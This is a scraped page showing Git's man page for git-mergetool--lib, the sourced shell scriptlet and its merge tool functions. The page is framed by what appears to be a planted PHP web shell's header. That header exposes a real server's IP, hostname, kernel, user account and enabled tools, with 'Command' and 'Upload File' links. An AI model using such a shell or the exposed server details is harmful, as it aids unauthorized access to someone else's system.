Server IP : 192.185.129.71 / Your IP : 18.222.199.33 Web Server : Apache System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : svymadmin ( 4072) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/share/doc/git-1.8.3.1/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
git-mergetool{litdd}lib(1) ========================== NAME ---- git-mergetool--lib - Common Git merge tool shell scriptlets SYNOPSIS -------- [verse] 'TOOL_MODE=(diff|merge) . "$(git --exec-path)/git-mergetool{litdd}lib"' DESCRIPTION ----------- This is not a command the end user would want to run. Ever. This documentation is meant for people who are studying the Porcelain-ish scripts and/or are writing new ones. The 'git-mergetool{litdd}lib' scriptlet is designed to be sourced (using `.`) by other shell scripts to set up functions for working with Git merge tools. Before sourcing 'git-mergetool{litdd}lib', your script must set `TOOL_MODE` to define the operation mode for the functions listed below. 'diff' and 'merge' are valid values. FUNCTIONS --------- get_merge_tool:: returns a merge tool. get_merge_tool_cmd:: returns the custom command for a merge tool. get_merge_tool_path:: returns the custom path for a merge tool. run_merge_tool:: launches a merge tool given the tool name and a true/false flag to indicate whether a merge base is present. '$MERGED', '$LOCAL', '$REMOTE', and '$BASE' must be defined for use by the merge tool. GIT --- Part of the linkgit:git[1] suite